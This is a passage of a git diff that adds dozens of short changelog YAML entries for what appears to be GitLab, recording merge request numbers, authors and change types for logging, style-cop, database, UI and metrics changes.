+title: Hide projects that are pending delete from the project index
+merge_request: 40035
+author:
+type: changed
diff --git a/changelogs/unreleased/access-modifier-cop.yml b/changelogs/unreleased/access-modifier-cop.yml
new file mode 100644
index 00000000000..b02825c2f7f
--- /dev/null
+++ b/changelogs/unreleased/access-modifier-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/AccessModifierDeclarations co cop
+merge_request: 41252
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/add-auto_close_incident-column-to-incident_management_settings.yml b/changelogs/unreleased/add-auto_close_incident-column-to-incident_management_settings.yml
new file mode 100644
index 00000000000..63a049cd8f5
--- /dev/null
+++ b/changelogs/unreleased/add-auto_close_incident-column-to-incident_management_settings.yml
@@ -0,0 +1,5 @@
+---
+title: Adds auto_close_incident column to project_incident_management_settings
+merge_request: 39980
+author:
+type: added
diff --git a/changelogs/unreleased/add-conan-lock-file-to-gemnasium-job.yml b/changelogs/unreleased/add-conan-lock-file-to-gemnasium-job.yml
new file mode 100644
index 00000000000..fb170a8170a
--- /dev/null
+++ b/changelogs/unreleased/add-conan-lock-file-to-gemnasium-job.yml
@@ -0,0 +1,5 @@
+---
+title: Add Conan lock file support to Dependency Scanning
+merge_request: 39811
+author:
+type: added
diff --git a/changelogs/unreleased/add-dast-on-demand-scan-usage-ping-220951.yml b/changelogs/unreleased/add-dast-on-demand-scan-usage-ping-220951.yml
new file mode 100644
index 00000000000..a66a3f15218
--- /dev/null
+++ b/changelogs/unreleased/add-dast-on-demand-scan-usage-ping-220951.yml
@@ -0,0 +1,5 @@
+---
+title: Add usage ping and index for DAST On-Demand Scans
+merge_request: 40219
+author:
+type: added
diff --git a/changelogs/unreleased/add-flash-spacing-on-merge-request.yml b/changelogs/unreleased/add-flash-spacing-on-merge-request.yml
new file mode 100644
index 00000000000..345f3bee2bc
--- /dev/null
+++ b/changelogs/unreleased/add-flash-spacing-on-merge-request.yml
@@ -0,0 +1,5 @@
+---
+title: Add Flash spacing on merge request show page
+merge_request: 39903
+author:
+type: changed
diff --git a/changelogs/unreleased/add-reviewers-to-merge-requests.yml b/changelogs/unreleased/add-reviewers-to-merge-requests.yml
new file mode 100644
index 00000000000..6c5c4a1e4b8
--- /dev/null
+++ b/changelogs/unreleased/add-reviewers-to-merge-requests.yml
@@ -0,0 +1,5 @@
+---
+title: Add merge_request_reviewers table
+merge_request: 40358
+author:
+type: added
diff --git a/changelogs/unreleased/add-spacing-to-design-management-toolbar-buttons.yml b/changelogs/unreleased/add-spacing-to-design-management-toolbar-buttons.yml
new file mode 100644
index 00000000000..ee58036b276
--- /dev/null
+++ b/changelogs/unreleased/add-spacing-to-design-management-toolbar-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Add spacing to design management toolbar buttons
+merge_request: 38889
+author: George Tsiolis
+type: changed
diff --git a/changelogs/unreleased/add_deduplicated_column_to_security_findings.yml b/changelogs/unreleased/add_deduplicated_column_to_security_findings.yml
new file mode 100644
index 00000000000..4740f9b6dbf
--- /dev/null
+++ b/changelogs/unreleased/add_deduplicated_column_to_security_findings.yml
@@ -0,0 +1,6 @@
+---
+title: Add `deduplicated` column to `security_findings` table along with the compound
+ index on `scan_id` and `deduplicated` and remove the index on `scan_id`
+merge_request: 42270
+author:
+type: added
diff --git a/changelogs/unreleased/add_kind_to_differentiate_policies.yml b/changelogs/unreleased/add_kind_to_differentiate_policies.yml
new file mode 100644
index 00000000000..0e8b0ab238e
--- /dev/null
+++ b/changelogs/unreleased/add_kind_to_differentiate_policies.yml
@@ -0,0 +1,5 @@
+---
+title: Add 'kind' to differentiate between NetworkPolicy and CiliumNetworkPolicy Kubernetes network manifests
+merge_request: 40165
+author:
+type: changed
diff --git a/changelogs/unreleased/add_namespace_id_to_users_in_admin_area.yml b/changelogs/unreleased/add_namespace_id_to_users_in_admin_area.yml
new file mode 100644
index 00000000000..b75e5118daa
--- /dev/null
+++ b/changelogs/unreleased/add_namespace_id_to_users_in_admin_area.yml
@@ -0,0 +1,5 @@
+---
+title: Add namespace ID to user pages in the admin area
+merge_request: 41877
+author:
+type: added
diff --git a/changelogs/unreleased/agent_gitops_sync_count.yml b/changelogs/unreleased/agent_gitops_sync_count.yml
new file mode 100644
index 00000000000..e1fb7bfe0f9
--- /dev/null
+++ b/changelogs/unreleased/agent_gitops_sync_count.yml
@@ -0,0 +1,5 @@
+---
+title: Add kubernetes_agent_gitops_sync usage ping metric
+merge_request: 40568
+author:
+type: other
diff --git a/changelogs/unreleased/ajk-issue-placement-worker-deduplication.yml b/changelogs/unreleased/ajk-issue-placement-worker-deduplication.yml
new file mode 100644
index 00000000000..e03f7c20dec
--- /dev/null
+++ b/changelogs/unreleased/ajk-issue-placement-worker-deduplication.yml
@@ -0,0 +1,5 @@
+---
+title: Pass project ID to issue placement worker
+merge_request: 42091
+author:
+type: performance
diff --git a/changelogs/unreleased/ajk-relative-positioning-async-move-to-end.yml b/changelogs/unreleased/ajk-relative-positioning-async-move-to-end.yml
new file mode 100644
index 00000000000..f10b774d659
--- /dev/null
+++ b/changelogs/unreleased/ajk-relative-positioning-async-move-to-end.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure issue creation is not blocked by positioning
+merge_request: 41313
+author:
+type: fixed
diff --git a/changelogs/unreleased/ajk-relative-positioning-issue-placement-worker-oldest-first.yml b/changelogs/unreleased/ajk-relative-positioning-issue-placement-worker-oldest-first.yml
new file mode 100644
index 00000000000..dcb25e8823a
--- /dev/null
+++ b/changelogs/unreleased/ajk-relative-positioning-issue-placement-worker-oldest-first.yml
@@ -0,0 +1,5 @@
+---
+title: Place older issues before more recent ones
+merge_request: 41602
+author:
+type: changed
diff --git a/changelogs/unreleased/ajk-relative-positioning-mover.yml b/changelogs/unreleased/ajk-relative-positioning-mover.yml
new file mode 100644
index 00000000000..d4901e2a888
--- /dev/null
+++ b/changelogs/unreleased/ajk-relative-positioning-mover.yml
@@ -0,0 +1,5 @@
+---
+title: Refactor relative positioning to enable better testing
+merge_request: 41967
+author:
+type: other
diff --git a/changelogs/unreleased/ajk-relative-positioning-safe-move-nulls.yml b/changelogs/unreleased/ajk-relative-positioning-safe-move-nulls.yml
new file mode 100644
index 00000000000..8a989a70416
--- /dev/null
+++ b/changelogs/unreleased/ajk-relative-positioning-safe-move-nulls.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid raising errors when moving unpositioned items
+merge_request: 40152
+author:
+type: fixed
diff --git a/changelogs/unreleased/ajk-relative-positioning-worker.yml b/changelogs/unreleased/ajk-relative-positioning-worker.yml
new file mode 100644
index 00000000000..5fe891ec987
--- /dev/null
+++ b/changelogs/unreleased/ajk-relative-positioning-worker.yml
@@ -0,0 +1,5 @@
+---
+title: Add background worker to rebalance issues
+merge_request: 40124
+author:
+type: added
diff --git a/changelogs/unreleased/alert-handler.yml b/changelogs/unreleased/alert-handler.yml
new file mode 100644
index 00000000000..5907fa30b2a
--- /dev/null
+++ b/changelogs/unreleased/alert-handler.yml
@@ -0,0 +1,5 @@
+---
+title: Adds an alert handler for bootstrap migration
+merge_request: 41323
+author:
+type: other
diff --git a/changelogs/unreleased/alexives-237924-tables_for_versioned_tf_state.yml b/changelogs/unreleased/alexives-237924-tables_for_versioned_tf_state.yml
new file mode 100644
index 00000000000..0c014b3ba40
--- /dev/null
+++ b/changelogs/unreleased/alexives-237924-tables_for_versioned_tf_state.yml
@@ -0,0 +1,5 @@
+---
+title: Database changes to support terraform state version replicaiton
+merge_request: 42492
+author:
+type: added
diff --git a/changelogs/unreleased/andr3-startup_css_helper-trigger-anytime.yml b/changelogs/unreleased/andr3-startup_css_helper-trigger-anytime.yml
new file mode 100644
index 00000000000..c50f01cb765
--- /dev/null
+++ b/changelogs/unreleased/andr3-startup_css_helper-trigger-anytime.yml
@@ -0,0 +1,5 @@
+---
+title: Simplify StartupCSS JS Helper and fix autosize issues under StartupCSS
+merge_request: 42462
+author:
+type: fixed
diff --git a/changelogs/unreleased/app-logger-1.yml b/changelogs/unreleased/app-logger-1.yml
new file mode 100644
index 00000000000..778a0612bd4
--- /dev/null
+++ b/changelogs/unreleased/app-logger-1.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in app/workers/*
+merge_request: 41046
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-10.yml b/changelogs/unreleased/app-logger-10.yml
new file mode 100644
index 00000000000..3a0c020683f
--- /dev/null
+++ b/changelogs/unreleased/app-logger-10.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in some files in lib/gitlab
+merge_request: 41058
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-11.yml b/changelogs/unreleased/app-logger-11.yml
new file mode 100644
index 00000000000..77f16c50b62
--- /dev/null
+++ b/changelogs/unreleased/app-logger-11.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in some files of auth/ldap dir
+merge_request: 41061
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-12.yml b/changelogs/unreleased/app-logger-12.yml
new file mode 100644
index 00000000000..eb9542ebc9a
--- /dev/null
+++ b/changelogs/unreleased/app-logger-12.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in lib/gitlab
+merge_request: 41063
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-13.yml b/changelogs/unreleased/app-logger-13.yml
new file mode 100644
index 00000000000..74e93b08b1d
--- /dev/null
+++ b/changelogs/unreleased/app-logger-13.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in lib/gitlab/database
+merge_request: 41068
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-14.yml b/changelogs/unreleased/app-logger-14.yml
new file mode 100644
index 00000000000..78d74040b27
--- /dev/null
+++ b/changelogs/unreleased/app-logger-14.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in lib/gitlab/
+merge_request: 41071
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-15.yml b/changelogs/unreleased/app-logger-15.yml
new file mode 100644
index 00000000000..b991d64493f
--- /dev/null
+++ b/changelogs/unreleased/app-logger-15.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in lib/gitlab/
+merge_request: 41075
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-17.yml b/changelogs/unreleased/app-logger-17.yml
new file mode 100644
index 00000000000..17352164606
--- /dev/null
+++ b/changelogs/unreleased/app-logger-17.yml
@@ -0,0 +1,5 @@
+---
+title: Use GitLab AppLogger
+merge_request: 41261
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-18.yml b/changelogs/unreleased/app-logger-18.yml
new file mode 100644
index 00000000000..0c0f2288e93
--- /dev/null
+++ b/changelogs/unreleased/app-logger-18.yml
@@ -0,0 +1,5 @@
+---
+title: Use GitLab AppLogger
+merge_request: 41290
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-19.yml b/changelogs/unreleased/app-logger-19.yml
new file mode 100644
index 00000000000..8d308cd3155
--- /dev/null
+++ b/changelogs/unreleased/app-logger-19.yml
@@ -0,0 +1,5 @@
+---
+title: Use GitLab AppLogger in files in lib/gitlab/*
+merge_request: 41302
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-2.yml b/changelogs/unreleased/app-logger-2.yml
new file mode 100644
index 00000000000..bdc69b2714c
--- /dev/null
+++ b/changelogs/unreleased/app-logger-2.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in config/initializers/*
+merge_request: 41047
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-3.yml b/changelogs/unreleased/app-logger-3.yml
new file mode 100644
index 00000000000..acb32aefbe3
--- /dev/null
+++ b/changelogs/unreleased/app-logger-3.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in ee/app/models, helpers and workers
+merge_request: 41048
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-4.yml b/changelogs/unreleased/app-logger-4.yml
new file mode 100644
index 00000000000..1bd7e662f0c
--- /dev/null
+++ b/changelogs/unreleased/app-logger-4.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in group.rb, access.rb and repo update mirror worker
+merge_request: 41049
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-5.yml b/changelogs/unreleased/app-logger-5.yml
new file mode 100644
index 00000000000..f0ffd786352
--- /dev/null
+++ b/changelogs/unreleased/app-logger-5.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in some files of lib/gitlab/ldap/sync/*
+merge_request: 41051
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-6.yml b/changelogs/unreleased/app-logger-6.yml
new file mode 100644
index 00000000000..c35a211f60b
--- /dev/null
+++ b/changelogs/unreleased/app-logger-6.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in lib/gitlab/
+merge_request: 41052
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-7.yml b/changelogs/unreleased/app-logger-7.yml
new file mode 100644
index 00000000000..4da303d905e
--- /dev/null
+++ b/changelogs/unreleased/app-logger-7.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in spec/lib/ee/gitlab/
+merge_request: 41053
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-8.yml b/changelogs/unreleased/app-logger-8.yml
new file mode 100644
index 00000000000..94ee44188a8
--- /dev/null
+++ b/changelogs/unreleased/app-logger-8.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger
+merge_request: 41055
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/app-logger-9.yml b/changelogs/unreleased/app-logger-9.yml
new file mode 100644
index 00000000000..8645c889c9f
--- /dev/null
+++ b/changelogs/unreleased/app-logger-9.yml
@@ -0,0 +1,5 @@
+---
+title: Use applogger in some files of ee/lib/* and spec files
+merge_request: 41056
+author: Rajendra Kadam
+type: other
diff --git a/changelogs/unreleased/approval-notification-bug.yml b/changelogs/unreleased/approval-notification-bug.yml
new file mode 100644
index 00000000000..a48537b45f3
--- /dev/null
+++ b/changelogs/unreleased/approval-notification-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Fix merge request chat messages for adding and removing approvals
+merge_request: 41775
+author:
+type: fixed
diff --git a/changelogs/unreleased/astoicescu-truncate-dashboards-dropdown-items.yml b/changelogs/unreleased/astoicescu-truncate-dashboards-dropdown-items.yml
new file mode 100644
index 00000000000..f5dfe301788
--- /dev/null
+++ b/changelogs/unreleased/astoicescu-truncate-dashboards-dropdown-items.yml
@@ -0,0 +1,5 @@
+---
+title: Wrap dashboards dropdown items text
+merge_request: 40367
+author:
+type: added
diff --git a/changelogs/unreleased/authored-date-on-comments-in-search.yml b/changelogs/unreleased/authored-date-on-comments-in-search.yml
new file mode 100644
index 00000000000..7a25554d01c
--- /dev/null
+++ b/changelogs/unreleased/authored-date-on-comments-in-search.yml
@@ -0,0 +1,5 @@
+---
+title: Show the comment authored time in comment search results
+merge_request: 40472
+author:
+type: added
diff --git a/changelogs/unreleased/bugfix_coverage_fuzzing_merge_event.yml b/changelogs/unreleased/bugfix_coverage_fuzzing_merge_event.yml
new file mode 100644
index 00000000000..b0d30322b2c
--- /dev/null
+++ b/changelogs/unreleased/bugfix_coverage_fuzzing_merge_event.yml
@@ -0,0 +1,5 @@
+---
+title: Prevent merge requests from triggering coverage fuzzing jobs
+merge_request: 41906
+author:
+type: fixed
diff --git a/changelogs/unreleased/bump-ado-image-to-v1-0-2.yml b/changelogs/unreleased/bump-ado-image-to-v1-0-2.yml
new file mode 100644
index 00000000000..d24e9a1e6c3
--- /dev/null
+++ b/changelogs/unreleased/bump-ado-image-to-v1-0-2.yml
@@ -0,0 +1,5 @@
+---
+title: Fix auto-deploy-image external chart dependencies
+merge_request: 40730
+author:
+type: fixed
diff --git a/changelogs/unreleased/bump-puma-to-4-3-5-gitlab-3.yml b/changelogs/unreleased/bump-puma-to-4-3-5-gitlab-3.yml
new file mode 100644
index 00000000000..781dfd423b6
--- /dev/null
+++ b/changelogs/unreleased/bump-puma-to-4-3-5-gitlab-3.yml
@@ -0,0 +1,5 @@
+---
+title: Update gitlab-puma to 4.3.5-gitlab-3
+merge_request: 40389
+author:
+type: changed
diff --git a/changelogs/unreleased/bvl-remove-async-pages-ff.yml b/changelogs/unreleased/bvl-remove-async-pages-ff.yml
new file mode 100644
index 00000000000..567a0ddb90d
--- /dev/null
+++ b/changelogs/unreleased/bvl-remove-async-pages-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the async pages feature flags
+merge_request: 40980
+author:
+type: performance
diff --git a/changelogs/unreleased/bw-large-description-timeout.yml b/changelogs/unreleased/bw-large-description-timeout.yml
new file mode 100644
index 00000000000..1975f4dae63
--- /dev/null
+++ b/changelogs/unreleased/bw-large-description-timeout.yml
@@ -0,0 +1,5 @@
+---
+title: Increase performance of rendering large amounts of markdown data
+merge_request: 40448
+author:
+type: performance
diff --git a/changelogs/unreleased/bw-surround-text-wth-char.yml b/changelogs/unreleased/bw-surround-text-wth-char.yml
new file mode 100644
index 00000000000..506271f13c1
--- /dev/null
+++ b/changelogs/unreleased/bw-surround-text-wth-char.yml
@@ -0,0 +1,5 @@
+---
+title: Surround selected text in markdown fields on certain key presses
+merge_request: 37151
+author:
+type: added
diff --git a/changelogs/unreleased/cat-time-precision-2fa-ldap.yml b/changelogs/unreleased/cat-time-precision-2fa-ldap.yml
new file mode 100644
index 00000000000..dc2cdaa8632
--- /dev/null
+++ b/changelogs/unreleased/cat-time-precision-2fa-ldap.yml
@@ -0,0 +1,5 @@
+---
+title: Update the 2FA user update check to account for rounding errors
+merge_request: 41327
+author:
+type: fixed
diff --git a/changelogs/unreleased/change-tier-eeu-environment-alerts.yml b/changelogs/unreleased/change-tier-eeu-environment-alerts.yml
new file mode 100644
index 00000000000..e398f228f23
--- /dev/null
+++ b/changelogs/unreleased/change-tier-eeu-environment-alerts.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the tier of environment alerts feature
+merge_request: 41855
+author:
+type: fixed
diff --git a/changelogs/unreleased/chore-bump-swagger-ui-dist.yml b/changelogs/unreleased/chore-bump-swagger-ui-dist.yml
new file mode 100644
index 00000000000..8fa132520d6
--- /dev/null
+++ b/changelogs/unreleased/chore-bump-swagger-ui-dist.yml
@@ -0,0 +1,5 @@
+---
+title: Bump swagger-ui-dist
+merge_request: 40077
+author: Roger Meier
+type: changed
diff --git a/changelogs/unreleased/ci-platform-metrics-bulk-insert.yml b/changelogs/unreleased/ci-platform-metrics-bulk-insert.yml
new file mode 100644
index 00000000000..194ee633374
--- /dev/null
+++ b/changelogs/unreleased/ci-platform-metrics-bulk-insert.yml
@@ -0,0 +1,5 @@
+---
+title: Updates CiPlatformMetrics to do bulk insertions
+merge_request: 41617
+author:
+type: performance
diff --git a/changelogs/unreleased/ci-platform-metrics-invalid-bucket.yml b/changelogs/unreleased/ci-platform-metrics-invalid-bucket.yml
new file mode 100644
index 00000000000..e51d0c02c7d
--- /dev/null
+++ b/changelogs/unreleased/ci-platform-metrics-invalid-bucket.yml
@@ -0,0 +1,5 @@
+---
+title: Filter the values for deployment platform metrics
+merge_request: 42116
+author:
+type: changed
diff --git a/changelogs/unreleased/ci-platform-metrics.yml b/changelogs/unreleased/ci-platform-metrics.yml
new file mode 100644
index 00000000000..e197b8e5345
--- /dev/null
+++ b/changelogs/unreleased/ci-platform-metrics.yml
@@ -0,0 +1,5 @@
+---
+title: Adds CI Platform Metrics bookkeeping model
+merge_request: 40036
+author:
+type: added
diff --git a/changelogs/unreleased/closing-paren-cop.yml b/changelogs/unreleased/closing-paren-cop.yml
new file mode 100644
index 00000000000..764b17a81b8
--- /dev/null
+++ b/changelogs/unreleased/closing-paren-cop.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Layout/ClosingParenthesisIndentation cop
+merge_request: 41084
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/cngo-make-mr-edit-file-upload-button-tab-accessible.yml b/changelogs/unreleased/cngo-make-mr-edit-file-upload-button-tab-accessible.yml
new file mode 100644
index 00000000000..177a432ed76
--- /dev/null
+++ b/changelogs/unreleased/cngo-make-mr-edit-file-upload-button-tab-accessible.yml
@@ -0,0 +1,5 @@
+---
+title: Make file upload button on MR edit page tab accessible
+merge_request: 40995
+author:
+type: fixed
diff --git a/changelogs/unreleased/cnp-description.yml b/changelogs/unreleased/cnp-description.yml
new file mode 100644
index 00000000000..bdc571f6f25
--- /dev/null
+++ b/changelogs/unreleased/cnp-description.yml
@@ -0,0 +1,5 @@
+---
+title: Improve support for description field on CiliumNetworkPolicy
+merge_request: 41722
+author:
+type: changed
diff --git a/changelogs/unreleased/commented-keyword.yml b/changelogs/unreleased/commented-keyword.yml
new file mode 100644
index 00000000000..cb4d9eeb0c9
--- /dev/null
+++ b/changelogs/unreleased/commented-keyword.yml
@@ -0,0 +1,5 @@
+---
+title: Fix Style/CommentedKeyword cop
+merge_request: 41119
+author: Rajendra Kadam
+type: fixed
diff --git a/changelogs/unreleased/compare-link-git-submodule-update.yml b/changelogs/unreleased/compare-link-git-submodule-update.yml
new file mode 100644
index 00000000000..8632c095c5f
--- /dev/null
+++ b/changelogs/unreleased/compare-link-git-submodule-update.yml
@@ -0,0 +1,5 @@
+---
+title: Add link to compare changes intoduced by a git submodule update
+merge_request: 37740
+author: Daniel Seemer @Phaiax
+type: added
diff --git a/changelogs/unreleased/correct-project-delete-button-spelling-mistakes.yml b/changelogs/unreleased/correct-project-delete-button-spelling-mistakes.yml
new file mode 100644
index 00000000000..6bc20723b65
--- /dev/null
+++ b/changelogs/unreleased/correct-project-delete-button-spelling-mistakes.yml
@@ -0,0 +1,5 @@
+---
+title: Corrected some spelling mistakes in the project deletion confirmation modal
+merge_request: 41576
+author:
+type: changed
diff --git a/changelogs/unreleased/create-index-for-cs.yml b/changelogs/unreleased/create-index-for-cs.yml
new file mode 100644
index 00000000000..05a78c36e35
--- /dev/null
+++ b/changelogs/unreleased/create-index-for-cs.yml
@@ -0,0 +1,5 @@
+---
+title: Add temporary index for container scanning findings
+merge_request: 39962
+author:
+type: other
diff --git a/changelogs/unreleased/dblessing-atlassian-integration-sign-in.yml b/changelogs/unreleased/dblessing-atlassian-integration-sign-in.yml
new file mode 100644
index 00000000000..c3f204420db
--- /dev/null
+++ b/changelogs/unreleased/dblessing-atlassian-integration-sign-in.yml
@@ -0,0 +1,5 @@
+---
+title: Add OmniAuth sign-in via Atlassian Cloud
+merge_request: 40178
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing-atlassian-integration.yml b/changelogs/unreleased/dblessing-atlassian-integration.yml
new file mode 100644
index 00000000000..f65d5d6f351
--- /dev/null
+++ b/changelogs/unreleased/dblessing-atlassian-integration.yml
@@ -0,0 +1,5 @@
+---
+title: Add Atlassian Identity to store identity/credentials
+merge_request: 40176
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing-auth-events-logging.yml b/changelogs/unreleased/dblessing-auth-events-logging.yml
new file mode 100644
index 00000000000..2c1340cc7af
--- /dev/null
+++ b/changelogs/unreleased/dblessing-auth-events-logging.yml
@@ -0,0 +1,5 @@
+---
+title: Log authentication events alongside existing audit events
+merge_request: 42033
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing-auth-events.yml b/changelogs/unreleased/dblessing-auth-events.yml
new file mode 100644
index 00000000000..174408fc945
--- /dev/null
+++ b/changelogs/unreleased/dblessing-auth-events.yml
@@ -0,0 +1,5 @@
+---
+title: Add AuthenticationEvent to store sign-in events
+merge_request: 39652
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing-doorkeeper-hex-generator.yml b/changelogs/unreleased/dblessing-doorkeeper-hex-generator.yml
new file mode 100644
index 00000000000..7b21903d555
--- /dev/null
+++ b/changelogs/unreleased/dblessing-doorkeeper-hex-generator.yml
@@ -0,0 +1,5 @@
+---
+title: Restore doorkeeper generator to hex due to breaking change
+merge_request: 41169
+author:
+type: fixed
diff --git a/changelogs/unreleased/dblessing-emails-cascade-delete.yml b/changelogs/unreleased/dblessing-emails-cascade-delete.yml
new file mode 100644
index 00000000000..cdba61207ab
--- /dev/null
+++ b/changelogs/unreleased/dblessing-emails-cascade-delete.yml
@@ -0,0 +1,5 @@
+---
+title: Add emails user_id foreign key with cascade delete
+merge_request: 39899
+author:
+type: other
diff --git a/changelogs/unreleased/dblessing-social-connect-text.yml b/changelogs/unreleased/dblessing-social-connect-text.yml
new file mode 100644
index 00000000000..05da9761cf6
--- /dev/null
+++ b/changelogs/unreleased/dblessing-social-connect-text.yml
@@ -0,0 +1,5 @@
+---
+title: Display provider name for profile social sign-in connectors
+merge_request: 41198
+author:
+type: changed
diff --git a/changelogs/unreleased/defect-expand-all-files-does-nothing.yml b/changelogs/unreleased/defect-expand-all-files-does-nothing.yml
new file mode 100644
index 00000000000..d67f6a38ecb
--- /dev/null
+++ b/changelogs/unreleased/defect-expand-all-files-does-nothing.yml
@@ -0,0 +1,5 @@
+---
+title: Fix issue causing 'Expand All' button to not work in MR diffs view (Remove `autoExpandCollapsedDiffs` feature flag)
+merge_request: 40960
+author:
+type: fixed
diff --git a/changelogs/unreleased/deprecate_expired_pat_email_notification.yml b/changelogs/unreleased/deprecate_expired_pat_email_notification.yml
new file mode 100644
index 00000000000..2642426643b
--- /dev/null
+++ b/changelogs/unreleased/deprecate_expired_pat_email_notification.yml
@@ -0,0 +1,5 @@
+---
+title: Remove expired_pat_email_notification feature flag
+merge_request: 41166
+author:
+type: changed
diff --git a/changelogs/unreleased/design-todo-enable-by-default.yml b/changelogs/unreleased/design-todo-enable-by-default.yml
new file mode 100644
index 00000000000..6d006e346dd
--- /dev/null
+++ b/changelogs/unreleased/design-todo-enable-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Create and resolve To-Dos for designs
+merge_request: 42059
+author:
+type: added
diff --git a/changelogs/unreleased/display-merged-commit-sha-in-fast-forward-mode.yml b/changelogs/unreleased/display-merged-commit-sha-in-fast-forward-mode.yml
new file mode 100644
index 00000000000..7e596847beb
--- /dev/null
+++ b/changelogs/unreleased/display-merged-commit-sha-in-fast-forward-mode.yml
@@ -0,0 +1,5 @@
+---
+title: Display merged commit sha in fast-forward merge mode
+merge_request: 41369
+author: Mycroft Kang @TaehyeokKang
+type: added
diff --git a/changelogs/unreleased/djensen-finish-renaming-analytics-workspace.yml b/changelogs/unreleased/djensen-finish-renaming-analytics-workspace.yml
new file mode 100644
index 00000000000..ad84a3ed4c5
--- /dev/null
+++ b/changelogs/unreleased/djensen-finish-renaming-analytics-workspace.yml
@@ -0,0 +1,5 @@
+---
+title: Re-name Analytics Workspace as instance-level analytics
+merge_request: 40436
+author:
+type: changed
diff --git a/changelogs/unreleased/do_not_show_all_groups_on_notif_settings.yml b/changelogs/unreleased/do_not_show_all_groups_on_notif_settings.yml
new file mode 100644
index 00000000000..1ba8f8dbe1e
--- /dev/null
+++ b/changelogs/unreleased/do_not_show_all_groups_on_notif_settings.yml
@@ -0,0 +1,5 @@
+---
+title: Do not show all public groups in global notification settings page
+merge_request: 40879
+author:
+type: fixed
diff --git a/changelogs/unreleased/docs-file_hook.yml b/changelogs/unreleased/docs-file_hook.yml
new file mode 100644
index 00000000000..576029a13b6
--- /dev/null
+++ b/changelogs/unreleased/docs-file_hook.yml
@@ -0,0 +1,5 @@
+---
+title: Fix example within file_hooks documentation
+merge_request: 40071
+author: Roger Meier
+type: fixed
diff --git a/changelogs/unreleased/drop-limit-container-width-classname.yml b/changelogs/unreleased/drop-limit-container-width-classname.yml
new file mode 100644
index 00000000000..35e00bd3cdc
--- /dev/null
+++ b/changelogs/unreleased/drop-limit-container-width-classname.yml
@@ -0,0 +1,5 @@
+---
+title: Drop one of duplicated limit-container-width classname
+merge_request: 41251
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/drop-limit-container-width-from-project.yml b/changelogs/unreleased/drop-limit-container-width-from-project.yml
new file mode 100644
index 00000000000..6a488fc5912
--- /dev/null
+++ b/changelogs/unreleased/drop-limit-container-width-from-project.yml
@@ -0,0 +1,5 @@
+---
+title: Drop one of duplicated classname from Project
+merge_request: 41830
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/dz-improve-new-issue-highlight.yml b/changelogs/unreleased/dz-improve-new-issue-highlight.yml
new file mode 100644
index 00000000000..5b2cc72971a
--- /dev/null
+++ b/changelogs/unreleased/dz-improve-new-issue-highlight.yml
@@ -0,0 +1,5 @@
+---
+title: Change logic behind new issues highlight
+merge_request: 41150
+author:
+type: changed
diff --git a/changelogs/unreleased/eb-mr-widget-builds-coverages.yml b/changelogs/unreleased/eb-mr-widget-builds-coverages.yml
new file mode 100644
index 00000000000..2f20e3a0193
--- /dev/null
+++ b/changelogs/unreleased/eb-mr-widget-builds-coverages.yml
@@ -0,0 +1,5 @@
+---
+title: Return builds with coverage in MR widget JSON response
+merge_request: 40533
+author:
+type: added
diff --git a/changelogs/unreleased/eb-return-filesize-authorize.yml b/changelogs/unreleased/eb-return-filesize-authorize.yml
new file mode 100644
index 00000000000..1a73dcd68dd
--- /dev/null
+++ b/changelogs/unreleased/eb-return-filesize-authorize.yml
@@ -0,0 +1,5 @@
+---
+title: Include max artifact size in authorize response
+merge_request: 37632
+author:
+type: added
diff --git a/changelogs/unreleased/eb-track-group-coverage-csv-download.yml b/changelogs/unreleased/eb-track-group-coverage-csv-download.yml
new file mode 100644
index 00000000000..603d01bad2c
--- /dev/null
+++ b/changelogs/unreleased/eb-track-group-coverage-csv-download.yml
@@ -0,0 +1,5 @@
+---
